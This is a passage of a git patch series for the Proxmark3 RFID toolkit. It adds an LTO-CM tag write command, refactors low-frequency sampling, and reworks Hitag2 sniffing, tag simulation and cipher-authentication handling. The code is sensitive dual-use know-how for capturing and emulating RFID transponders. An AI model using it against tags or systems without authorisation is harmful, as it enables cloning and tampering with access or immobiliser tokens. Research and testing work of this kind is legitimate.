PM3_EWRONGANSVER; // WRITE BLOCK failed + } + + status = lto_send_cmd_raw(wrbl_d16_d31, sizeof(wrbl_d16_d31), resp, &resp_len, true, false, verbose); + if (status == PM3_ETIMEOUT || status == PM3_ESOFT || resp[0] != 0x0A) { + return PM3_EWRONGANSVER; // WRITE BLOCK failed + } + + return PM3_SUCCESS; +} + +int wrblLTO(uint8_t blk, uint8_t *data, bool verbose) { + + clearCommandBuffer(); + lto_switch_on_field(); + + uint8_t serial_number[5]; + uint8_t serial_len = sizeof(serial_number); + uint8_t type_info[2]; + int ret_val = lto_select(serial_number, serial_len, type_info, verbose); + + if (ret_val != PM3_SUCCESS) { + lto_switch_off_field(); + return ret_val; + } + + ret_val = lto_wrbl(blk, data, verbose); + lto_switch_off_field(); + + if (ret_val == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "BLK%03d: " _YELLOW_("Write Success"), blk); + } else { + PrintAndLogEx(WARNING, "BLK%03d: Write Error. Maybe this is a read-only block address.", blk); + } + + return ret_val; +} + +static int CmdHfLTOWriteBlock(const char *Cmd) { + + uint8_t cmdp = 0; + bool errors = false; + bool b_opt_selected = false; + bool d_opt_selected = false; + uint8_t blk = 128; + uint8_t blkData[32] = {0}; + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': + return usage_lto_wrbl(); + case 'b': + blk = param_get8(Cmd, cmdp+1); + b_opt_selected = true; + cmdp += 2; + break; + case 'd': + if (param_gethex(Cmd, cmdp+1, blkData, 64)) { + PrintAndLogEx(WARNING, "BlockData must include 64 HEX symbols"); + errors = true; + break; + } + d_opt_selected = true; + cmdp += 2; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + //Validations + if (errors) { + usage_lto_wrbl(); + return PM3_EINVARG; + } else if (b_opt_selected == false || d_opt_selected == false) { + PrintAndLogEx(WARNING, "Need to specify block address and data. See usage, h option"); + return PM3_EINVARG; + } + + return wrblLTO(blk, blkData, true); +} + static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, {"info", CmdHfLTOInfo, IfPm3Iso14443a, "Tag information"}, {"rdbl", CmdHfLTOReadBlock, IfPm3Iso14443a, "Read block"}, -// {"wrbl", CmdHfLTOWriteBlock, IfPm3Iso14443a, "Write block"}, -// {"sim", CmdHfLTOSim, IfPm3Iso14443a, " Simulate LTO-CM tag"}, + {"wrbl", CmdHfLTOWriteBlock, IfPm3Iso14443a, "Write block"}, {"list", CmdHfLTOList, AlwaysAvailable, "List LTO-CM history"}, {NULL, NULL, NULL, NULL} }; diff --git a/client/cmdhflto.h b/client/cmdhflto.h index d54eb75f1..bc35d4378 100644 --- a/client/cmdhflto.h +++ b/client/cmdhflto.h @@ -15,6 +15,7 @@ int infoLTO(bool verbose); int rdblLTO(uint8_t st_blk, uint8_t end_blk, bool verbose); +int wrblLTO(uint8_t blk, uint8_t *data, bool verbose); int CmdHFLTO(const char *Cmd); #endif From aae8f6aebf988f1b07f046860af4dd7688168460 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 28 Jan 2020 08:28:36 +0100 Subject: [PATCH 374/418] prepare for LTO dump --- client/cmdhflto.c | 77 ++++++++++++++++++++++++++++++++++++----------- 1 file changed, 59 insertions(+), 18 deletions(-) diff --git a/client/cmdhflto.c b/client/cmdhflto.c index ed61eac70..b717eab46 100644 --- a/client/cmdhflto.c +++ b/client/cmdhflto.c @@ -75,8 +75,8 @@ static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16 if (addcrc) { arg0 |= ISO14A_APPEND_CRC; } - - if (is7bits) { + + if (is7bits) { arg1 = 7 << 16; } else { arg1 = 0; @@ -171,14 +171,14 @@ int infoLTO(bool verbose) { uint8_t serial_number[5]; uint8_t serial_len = sizeof(serial_number); uint8_t type_info[2]; - + int ret_val = lto_select(serial_number, serial_len, type_info, verbose); lto_switch_off_field(); if (ret_val == PM3_SUCCESS) { PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, "TYPE INFO: " _YELLOW_("%s"), sprint_hex_inrow(type_info, sizeof(type_info))); PrintAndLogEx(SUCCESS, "UID: " _YELLOW_("%s"), sprint_hex_inrow(serial_number, sizeof(serial_number))); + PrintAndLogEx(SUCCESS, "TYPE INFO: " _YELLOW_("%s"), sprint_hex_inrow(type_info, sizeof(type_info))); } return ret_val; @@ -230,7 +230,7 @@ int rdblLTO(uint8_t st_blk, uint8_t end_blk, bool verbose) { uint8_t block_data[32]; for(uint8_t i = st_blk; i < end_blk + 1; i++) { - + ret_val = lto_rdbl(i, block_data_d00_d15, block_data_d16_d31, verbose); if (ret_val == PM3_SUCCESS) { @@ -239,11 +239,11 @@ int rdblLTO(uint8_t st_blk, uint8_t end_blk, bool verbose) { block_data[t] = block_data_d00_d15[t]; block_data[t + 16] = block_data_d16_d31[t]; } - - PrintAndLogEx(SUCCESS, "BLK%03d: " _YELLOW_("%s"), i, sprint_hex_inrow(block_data, sizeof(block_data))); + + PrintAndLogEx(SUCCESS, "BLK %03d: " _YELLOW_("%s"), i, sprint_hex_inrow(block_data, sizeof(block_data))); } else { lto_switch_off_field(); - return ret_val; + return ret_val; } } @@ -273,7 +273,7 @@ static int CmdHfLTOReadBlock(const char *Cmd) { case 'e': end_blk = param_get8(Cmd, cmdp+1); - if ( end_blk < st_blk ) { + if ( end_blk < st_blk ) { errors = true; break; } cmdp += 2; @@ -345,9 +345,9 @@ int wrblLTO(uint8_t blk, uint8_t *data, bool verbose) { lto_switch_off_field(); if (ret_val == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "BLK%03d: " _YELLOW_("Write Success"), blk); + PrintAndLogEx(SUCCESS, "BLK %03d: " _YELLOW_("write success"), blk); } else { - PrintAndLogEx(WARNING, "BLK%03d: Write Error. Maybe this is a read-only block address.", blk); + PrintAndLogEx(WARNING, "BLK %03d: write error. Maybe this is a read-only block address.", blk); } return ret_val; @@ -373,7 +373,7 @@ static int CmdHfLTOWriteBlock(const char *Cmd) { break; case 'd': if (param_gethex(Cmd, cmdp+1, blkData, 64)) { - PrintAndLogEx(WARNING, "BlockData must include 64 HEX symbols"); + PrintAndLogEx(WARNING, "block data must include 64 HEX symbols"); errors = true; break; } @@ -381,7 +381,7 @@ static int CmdHfLTOWriteBlock(const char *Cmd) { cmdp += 2; break; default: - PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + PrintAndLogEx(WARNING, "unknown parameter '%c'", param_getchar(Cmd, cmdp)); errors = true; break; } @@ -399,12 +399,53 @@ static int CmdHfLTOWriteBlock(const char *Cmd) { return wrblLTO(blk, blkData, true); } +/* +static int CmdHfLTODump(const char *Cmd) { + + uint8_t cmdp = 0; + bool errors = false; + uint8_t blk = 128; + + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': + return usage_lto_dump(); + case 'b': + blk = param_get8(Cmd, cmdp+1); + b_opt_selected = true; + cmdp += 2; + break; + default: + PrintAndLogEx(WARNING, "unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + //Validations + if (errors) { + usage_lto_dump(); + return PM3_EINVARG; + } + +// alloc memory +// loop all blocks +// save to file +// free memory + + return PM3_SUCCESS; +} +*/ + + static command_t CommandTable[] = { - {"help", CmdHelp, AlwaysAvailable, "This help"}, - {"info", CmdHfLTOInfo, IfPm3Iso14443a, "Tag information"}, - {"rdbl", CmdHfLTOReadBlock, IfPm3Iso14443a, "Read block"}, - {"wrbl", CmdHfLTOWriteBlock, IfPm3Iso14443a, "Write block"}, - {"list", CmdHfLTOList, AlwaysAvailable, "List LTO-CM history"}, + {"help", CmdHelp, AlwaysAvailable, "This help"}, +// {"dump", CmdHfLTDump, IfPm3Iso14443a, "Dump LTO-CM tag to file"}, +// {"restore", CmdHfLTRestore, IfPm3Iso14443a, "Restore dump file to LTO-CM tag"}, + {"info", CmdHfLTOInfo, IfPm3Iso14443a, "Tag information"}, + {"rdbl", CmdHfLTOReadBlock, IfPm3Iso14443a, "Read block"}, + {"wrbl", CmdHfLTOWriteBlock, IfPm3Iso14443a, "Write block"}, + {"list", CmdHfLTOList, AlwaysAvailable, "List LTO-CM history"}, {NULL, NULL, NULL, NULL} }; From d6f552e856ac4b82b195cd9b72cce081d6432f22 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 28 Jan 2020 22:06:40 +0100 Subject: [PATCH 375/418] assign direct --- fpga/lo_adc.v | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/fpga/lo_adc.v b/fpga/lo_adc.v index 8c1dd12e2..aba849fcc 100644 --- a/fpga/lo_adc.v +++ b/fpga/lo_adc.v @@ -29,11 +29,8 @@ reg [7:0] pck_divider; reg clk_state; // Antenna logic, depending on "lf_field" (in arm defined as FPGA_LF_READER_FIELD) -wire tag_modulation; -assign tag_modulation = ssp_dout & !lf_field; - -wire reader_modulation; -assign reader_modulation = !ssp_dout & lf_field & clk_state; +wire tag_modulation = ssp_dout & !lf_field; +wire reader_modulation = !ssp_dout & lf_field & clk_state; // always on (High Frequency outputs, unused) assign pwr_oe1 = 1'b0; From 04bca3cdb7b0ef7f6085f39f27ff21753e0bc193 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 29 Jan 2020 04:37:10 +0100 Subject: [PATCH 376/418] fix partial data acqusitions not use bigbuff_malloc --- armsrc/lfadc.c | 40 ++++++++++++++++++++++++++++++---------- armsrc/lfsampling.c | 32 +++++++++++++++++++------------- armsrc/lfsampling.h | 1 + 3 files changed, 50 insertions(+), 23 deletions(-) diff --git a/armsrc/lfadc.c b/armsrc/lfadc.c index 5c5b87fc0..60044b6d8 100644 --- a/armsrc/lfadc.c +++ b/armsrc/lfadc.c @@ -51,14 +51,15 @@ size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) { size_t periods = 0; volatile uint8_t adc_val; //uint8_t avg_peak = 140, avg_through = 96; - uint8_t avg_peak = 130, avg_through = 106; + // 140 - 127 - 114 + uint8_t avg_peak = 140, avg_through = 106; int16_t checked = 0; - while (true) { + while (!BUTTON_PRESS()) { - // only every 1000th times, in order to save time when collecting samples. + // only every 100th times, in order to save time when collecting samples. if (checked == 1000) { - if (BUTTON_PRESS() || data_available()) { + if (data_available()) { checked = -1; break; } else { @@ -100,7 +101,7 @@ size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) { } previous_adc_val = adc_val; - if (periods == max) return 0; + if (periods >= max) return 0; } } if (logging) logSampleSimple(0xFF); @@ -136,7 +137,10 @@ void lf_wait_periods(size_t periods) { lf_count_edge_periods_ex(periods, true, false); } -void lf_init(bool reader) { +void lf_init(bool reader, bool simulate) { + + StopTicks(); + reader_mode = reader; FpgaDownloadAndGo(FPGA_BITSTREAM_LF); @@ -145,7 +149,12 @@ void lf_init(bool reader) { if (reader) { FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); } else { - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC); + if (simulate) +// FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC); + else + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC); + } // Connect the A/D to the peak-detected low-frequency path. @@ -186,11 +195,12 @@ void lf_init(bool reader) { // Prepare data trace uint32_t bufsize = 20000; - if (logging) initSampleBuffer(&bufsize); + // use malloc + if (logging) initSampleBufferEx(&bufsize, true); sample_config *sc = getSamplingConfig(); - sc->decimation = 2; - sc->averaging = 1; + sc->decimation = 1; + sc->averaging = 0; } void lf_finalize() { @@ -209,6 +219,8 @@ void lf_finalize() { sample_config *sc = getSamplingConfig(); sc->decimation = 1; sc->averaging = 0; + + StartTicks(); } size_t lf_detect_field_drop(size_t max) { @@ -256,6 +268,7 @@ inline void lf_modulation(bool modulation) { } } +// simulation inline void lf_manchester_send_bit(uint8_t bit) { lf_modulation(bit != 0); lf_wait_periods(16); @@ -263,10 +276,17 @@ inline void lf_manchester_send_bit(uint8_t bit) { lf_wait_periods(16); } +// simulation bool lf_manchester_send_bytes(const uint8_t *frame, size_t frame_len) { LED_B_ON(); + lf_manchester_send_bit(1); + lf_manchester_send_bit(1); + lf_manchester_send_bit(1); + lf_manchester_send_bit(1); + lf_manchester_send_bit(1); + // Send the content of the frame for (size_t i = 0; i < frame_len; i++) { lf_manchester_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index 0679eb368..c492a4eda 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -106,25 +106,31 @@ BitstreamOut data = {0, 0, 0}; sampling_t samples = {0, 0, 0, 0}; void initSampleBuffer(uint32_t *sample_size) { + initSampleBufferEx(sample_size, false); +} + +void initSampleBufferEx(uint32_t *sample_size, bool use_malloc) { BigBuf_free(); -// We can't erase the buffer now, it would drastically delay the acquisition -// BigBuf_Clear_ext(false); - if (sample_size == NULL || *sample_size == 0) { - *sample_size = BigBuf_max_traceLen(); + // We can't erase the buffer now, it would drastically delay the acquisition - data.buffer = BigBuf_get_addr(); + if (use_malloc) { + + if (sample_size == NULL || *sample_size == 0 ) { + *sample_size = BigBuf_max_traceLen(); + data.buffer = BigBuf_get_addr(); + } else { + *sample_size = MIN(*sample_size, BigBuf_max_traceLen()); + data.buffer = BigBuf_malloc(*sample_size); + + } -// We can't erase the buffer now, it would drastically delay the acquisition -// memset(data.buffer, 0, *sample_size); } else { - *sample_size = MIN(*sample_size, BigBuf_max_traceLen()); - - data.buffer = BigBuf_malloc(*sample_size); - -// We can't erase the buffer now, it would drastically delay the acquisition -// memset(data.buffer, 0, *sample_size); + if (sample_size == NULL || *sample_size == 0 ) { + *sample_size = BigBuf_max_traceLen(); + } + data.buffer = BigBuf_get_addr(); } // diff --git a/armsrc/lfsampling.h b/armsrc/lfsampling.h index cd3a8993e..570dc20fe 100644 --- a/armsrc/lfsampling.h +++ b/armsrc/lfsampling.h @@ -70,6 +70,7 @@ uint32_t DoAcquisition_config(bool verbose, uint32_t sample_size); * Refactoring of lf sampling buffer */ void initSampleBuffer(uint32_t *sample_size); +void initSampleBufferEx(uint32_t *sample_size, bool use_malloc); void logSampleSimple(uint8_t sample); void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg); uint32_t getSampleCounter(); From a9a57e4a92643919b1ad9786e9542ef4ee0cde97 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 29 Jan 2020 05:12:36 +0100 Subject: [PATCH 377/418] forgot header --- armsrc/lfadc.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/armsrc/lfadc.h b/armsrc/lfadc.h index 2d7836a38..d394916ea 100644 --- a/armsrc/lfadc.h +++ b/armsrc/lfadc.h @@ -23,7 +23,8 @@ size_t lf_detect_gap(size_t max); void lf_reset_counter(); bool lf_get_tag_modulation(); void lf_wait_periods(size_t periods); -void lf_init(bool reader); +//void lf_init(bool reader); +void lf_init(bool reader, bool simulate); void lf_finalize(); size_t lf_detect_field_drop(size_t max); bool lf_manchester_send_bytes(const uint8_t *frame, size_t frame_len); From ebc04ea27ecae59a8df8c3307502f5b58e9f4693 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 29 Jan 2020 05:14:18 +0100 Subject: [PATCH 378/418] hitag sim changes --- armsrc/hitag2.c | 422 +++++++++++++++++++++++++++--------------------- 1 file changed, 234 insertions(+), 188 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 770c63544..8a0d4934a 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -18,7 +18,7 @@ // Piwi, 2019 // Iceman, 2019 // Anon, 2019 -// Doegos, 2020 +// Doegox, 2020 #include "hitag2.h" #include "hitag2_crypto.h" @@ -96,7 +96,6 @@ size_t blocknr; size_t flipped_bit = 0; uint32_t byte_value = 0; - static int hitag2_reset(void) { tag.state = TAG_STATE_RESET; tag.crypto_active = 0; @@ -143,6 +142,8 @@ static int hitag2_init(void) { #define HITAG_T_TAG_CAPTURE_THREE_HALF 41 #define HITAG_T_TAG_CAPTURE_FOUR_HALF 57 +/* +// sim static void hitag_send_bit(int bit) { LED_A_ON(); @@ -167,6 +168,7 @@ static void hitag_send_bit(int bit) { LED_A_OFF(); } +// sim static void hitag_send_frame(const uint8_t *frame, size_t frame_len) { // SOF - send start of frame hitag_send_bit(1); @@ -183,6 +185,7 @@ static void hitag_send_frame(const uint8_t *frame, size_t frame_len) { // Drop the modulation LOW(GPIO_SSC_DOUT); } +*/ // sim static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen) { @@ -215,42 +218,43 @@ static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_ // Read/Write command: ..xx x..y yy with yyy == ~xxx, xxx is sector number case 10: { - unsigned int sector = (~(((rx[0] << 2) & 0x04) | ((rx[1] >> 6) & 0x03)) & 0x07); + uint16_t sector = (~(((rx[0] << 2) & 0x04) | ((rx[1] >> 6) & 0x03)) & 0x07); + // Verify complement of sector index if (sector != ((rx[0] >> 3) & 0x07)) { - //DbpString("Transmission error (read/write)"); + DbpString("Transmission error (read/write)"); return; } switch (rx[0] & 0xC6) { // Read command: 11xx x00y - case 0xC0: + case 0xC0: { memcpy(tx, tag.sectors[sector], 4); *txlen = 32; break; - + } // Inverted Read command: 01xx x10y - case 0x44: + case 0x44: { for (size_t i = 0; i < 4; i++) { tx[i] = tag.sectors[sector][i] ^ 0xff; } *txlen = 32; break; - + } // Write command: 10xx x01y - case 0x82: + case 0x82: { // Prepare write, acknowledge by repeating command memcpy(tx, rx, nbytes(rxlen)); *txlen = rxlen; tag.active_sector = sector; tag.state = TAG_STATE_WRITING; break; - + } // Unknown command - default: + default: { Dbprintf("Unknown command: %02x %02x", rx[0], rx[1]); return; - break; + } } } break; @@ -284,15 +288,13 @@ static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_ // Reset the cipher state hitag2_cipher_reset(&tag, rx); + // Check if the authentication was correct if (!hitag2_cipher_authenticate(&(tag.cs), rx + 4)) { // The reader failed to authenticate, do nothing Dbprintf("auth: %02x%02x%02x%02x%02x%02x%02x%02x Failed!", rx[0], rx[1], rx[2], rx[3], rx[4], rx[5], rx[6], rx[7]); return; } - // Succesful, but commented out reporting back to the Host, this may delay to much. - // Dbprintf("auth: %02x%02x%02x%02x%02x%02x%02x%02x OK!",rx[0],rx[1],rx[2],rx[3],rx[4],rx[5],rx[6],rx[7]); - // Activate encryption algorithm for all further communication tag.crypto_active = 1; @@ -303,15 +305,13 @@ static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_ break; } - // LogTrace(rx, nbytes(rxlen), 0, 0, NULL, false); - // LogTrace(tx, nbytes(txlen), 0, 0, NULL, true); - if (tag.crypto_active) { hitag2_cipher_transcrypt(&(tag.cs), tx, *txlen / 8, *txlen % 8); } } -// sim +// reader/writer +// returns how long it took static uint32_t hitag_reader_send_bit(int bit) { uint32_t wait = 0; LED_A_ON(); @@ -330,36 +330,41 @@ static uint32_t hitag_reader_send_bit(int bit) { if (bit == 0) { // Zero bit: |_-| - lf_wait_periods(HITAG_T_0-HITAG_T_LOW); // wait for 18-22 times the carrier period - wait += HITAG_T_0-HITAG_T_LOW; + lf_wait_periods(HITAG_T_0 - HITAG_T_LOW); // wait for 18-22 times the carrier period + wait += HITAG_T_0 - HITAG_T_LOW; } else { // One bit: |_--| - lf_wait_periods(HITAG_T_1-HITAG_T_LOW); // wait for 26-32 times the carrier period - wait += HITAG_T_1-HITAG_T_LOW; + lf_wait_periods(HITAG_T_1 - HITAG_T_LOW); // wait for 26-32 times the carrier period + wait += HITAG_T_1 - HITAG_T_LOW; } /*lf_wait_periods(10);*/ LED_A_OFF(); return wait; } -// sim +// reader/writer static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) { + uint32_t wait = 0; // Send the content of the frame for (size_t i = 0; i < frame_len; i++) { wait += hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); } + // Enable modulation, which means, drop the field lf_modulation(true); + // Wait for 4-10 times the carrier period lf_wait_periods(HITAG_T_LOW); wait += HITAG_T_LOW; + // Disable modulation, just activates the field again lf_modulation(false); // t_stop, high field for stop condition (> 36) lf_wait_periods(HITAG_T_STOP); wait += HITAG_T_STOP; + return wait; } @@ -688,10 +693,10 @@ static bool hitag2_password(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t } if (blocknr > 7) { - DbpString("Read successful!"); bSuccessful = true; return false; } + *txlen = 10; tx[0] = 0xC0 | (blocknr << 3) | ((blocknr ^ 7) >> 2); tx[1] = ((blocknr ^ 7) << 6); @@ -951,7 +956,6 @@ static bool hitag2_read_uid(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t Dbhexdump(4, rx, false); } if (blocknr > 0) { - DbpString("Read successful!"); bSuccessful = true; return false; } @@ -970,10 +974,6 @@ static bool hitag2_read_uid(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t // Hitag2 Sniffing void SniffHitag2(void) { - LEDsoff(); - StopTicks(); - - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); BigBuf_free(); BigBuf_Clear_ext(false); clear_trace(); @@ -988,19 +988,34 @@ void SniffHitag2(void) { DbpString("Starting Hitag2 sniffing"); LED_D_ON(); - lf_init(false); + lf_init(false, false); + logging = false; size_t periods = 0; uint8_t periods_bytes[4]; + int16_t checked = 0; + /*bool waiting_for_first_edge = true;*/ LED_C_ON(); - while (!BUTTON_PRESS() && !data_available()) { + while (!BUTTON_PRESS()) { WDT_HIT(); + // only every 1000th times, in order to save time when collecting samples. + if (checked == 1000) { + if (data_available()) { + checked = -1; + break; + } else { + checked = 0; + } + } + ++checked; + + // Receive frame, watch for at most T0*EOF periods lf_reset_counter(); @@ -1021,69 +1036,57 @@ void SniffHitag2(void) { LogTrace(periods_bytes, 4, 0, 0, NULL, true); } - - /* - // Check if frame was captured - if (rxlen > 0) { - // frame_count++; - LogTrace(rx, nbytes(rxlen), response, 0, NULL, reader_frame); - - // Check if we recognize a valid authentication attempt - if (nbytes(rxlen) == 8) { - // Store the authentication attempt - if (auth_table_len < (AUTH_TABLE_LENGTH - 8)) { - memcpy(auth_table + auth_table_len, rx, 8); - auth_table_len += 8; - } - } - */ } lf_finalize(); - StartTicks(); - DbpString("Hitag2 sniffing finish. Use `lf hitag list` for annotations"); } // Hitag2 simulation void SimulateHitag2(bool tag_mem_supplied, uint8_t *data) { - StopTicks(); - - // int frame_count = 0; - int response = 0, overflow = 0; - uint8_t rx[HITAG_FRAME_LEN]; - size_t rxlen = 0; - uint8_t tx[HITAG_FRAME_LEN]; - size_t txlen = 0; - - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); BigBuf_free(); BigBuf_Clear_ext(false); clear_trace(); set_tracing(true); + // empties bigbuff etc + lf_init(false, true); + + int response = 0; + uint8_t rx[HITAG_FRAME_LEN]; + size_t rxlen = 0; + uint8_t tx[HITAG_FRAME_LEN]; + size_t txlen = 0; + auth_table_len = 0; auth_table_pos = 0; - auth_table = BigBuf_malloc(AUTH_TABLE_LENGTH); - memset(auth_table, 0x00, AUTH_TABLE_LENGTH); +// auth_table = BigBuf_malloc(AUTH_TABLE_LENGTH); +// memset(auth_table, 0x00, AUTH_TABLE_LENGTH); // Reset the received frame, frame count and timing info - memset(rx, 0x00, sizeof(rx)); +// memset(rx, 0x00, sizeof(rx)); +// memset(tx, 0x00, sizeof(tx)); DbpString("Starting Hitag2 simulation"); LED_D_ON(); + + // hitag2 state machine? hitag2_init(); + // copy user supplied emulation data if (tag_mem_supplied) { DbpString("Loading hitag2 memory..."); memcpy((uint8_t *)tag.sectors, data, 48); } + // printing uint32_t block = 0; for (size_t i = 0; i < 12; i++) { + + // num2bytes? for (size_t j = 0; j < 4; j++) { block <<= 8; block |= tag.sectors[i][j]; @@ -1091,89 +1094,137 @@ void SimulateHitag2(bool tag_mem_supplied, uint8_t *data) { Dbprintf("| %d | %08x |", i, block); } - // Set up simulator mode, frequency divisor which will drive the FPGA - // and analog mux selection. - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + uint8_t tag_modulation; + size_t max_nrzs = 8 * HITAG_FRAME_LEN + 5; + uint8_t nrz_samples[max_nrzs]; + size_t nrzs = 0, periods = 0; - // Configure output pin that is connected to the FPGA (for modulating) - AT91C_BASE_PIOA->PIO_OER |= GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_PER |= GPIO_SSC_DOUT; +// uint32_t command_start = 0, command_duration = 0; - // Disable modulation at default, which means release resistance - LOW(GPIO_SSC_DOUT); + int16_t checked = 0; - // Enable Peripheral Clock for - // TIMER_CLOCK0, used to measure exact timing before answering - // TIMER_CLOCK1, used to capture edges of the tag frames - AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1); + while (!BUTTON_PRESS()) { - AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; - - // Disable timer during configuration - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // TC0: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), no triggers - AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK; - - // TC1: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, - // external trigger rising edge, load RA on rising edge of TIOA. - AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK | AT91C_TC_ETRGEDG_RISING | AT91C_TC_ABETRG | AT91C_TC_LDRA_RISING; - - // Enable and reset counter - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - - // synchronized startup procedure - while (AT91C_BASE_TC0->TC_CV > 0) {}; // wait until TC0 returned to zero - - while (!BUTTON_PRESS() && !data_available()) { - // Watchdog hit +loop1: + LED_A_OFF(); WDT_HIT(); - // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < HITAG_T0 * HITAG_T_EOF) { - // Check if rising edge in modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { - // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / HITAG_T0) + overflow; - overflow = 0; + // only every 1000th times, in order to save time when collecting samples. + if (checked == 100) { + if (data_available()) { + checked = -1; + break; + } else { + checked = 0; + } + } + ++checked; - // Reset timer every frame, we have to capture the last edge for timing - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + rxlen = 0; - LED_B_ON(); + // Keep administration of the first edge detection + bool waiting_for_first_edge = true; - // Capture reader frame - if (ra >= HITAG_T_STOP) { - if (rxlen != 0) { - //DbpString("wierd0?"); - } - // Capture the T0 periods that have passed since last communication or field drop (reset) - response = (ra - HITAG_T_LOW); - } else if (ra >= HITAG_T_1_MIN) { - // '1' bit - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_0_MIN) { - // '0' bit - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - } else { - // Ignore wierd value, is to small to mean anything + // Did we detected any modulaiton at all + bool detected_tag_modulation = false; + + // Use the current modulation state as starting point + tag_modulation = lf_get_tag_modulation(); + + // Receive frame, watch for at most max_nrzs periods + // Reset the number of NRZ samples and use edge detection to detect them + nrzs = 0; + while (nrzs < max_nrzs) { + // Get the timing of the next edge in number of wave periods + periods = lf_count_edge_periods(128); + + // Just break out of loop after an initial time-out (tag is probably not available) + // The function lf_count_edge_periods() returns 0 when a time-out occurs + if (periods == 0) { + goto loop1; //break; + } + + LED_A_ON(); + + // Are we dealing with the first incoming edge + if (waiting_for_first_edge) { + + // Register the number of periods that have passed + response = periods; + + // Indicate that we have dealt with the first edge + waiting_for_first_edge = false; + + // The first edge is always a single NRZ bit, force periods on 16 + periods = 16; + + // We have received more than 0 periods, so we have detected a tag response + detected_tag_modulation = true; + } + + // Evaluate the number of periods before the next edge + if (periods > 24 && periods <= 64) { + // Detected two sequential equal bits and a modulation switch + // NRZ modulation: (11 => --|) or (11 __|) + nrz_samples[nrzs++] = tag_modulation; + nrz_samples[nrzs++] = tag_modulation; + // Invert tag modulation state + tag_modulation ^= 1; + } else if (periods > 0 && periods <= 24) { + // Detected one bit and a modulation switch + // NRZ modulation: (1 => -|) or (0 _|) + nrz_samples[nrzs++] = tag_modulation; + tag_modulation ^= 1; + } else { + tag_modulation ^= 1; + // The function lf_count_edge_periods() returns > 64 periods, this is not a valid number periods + Dbprintf("Detected unexpected period count: %d", periods); + break; + } + } + + // If there is no response, just repeat the loop + if (!detected_tag_modulation) continue; + + // Make sure we always have an even number of samples. This fixes the problem + // of ending the manchester decoding with a zero. See the example below where + // the '|' character is end of modulation + // One at the end: ..._-|_____... + // Zero at the end: ...-_|_____... + // The last modulation change of a zero is not detected, but we should take + // the half period in account, otherwise the demodulator 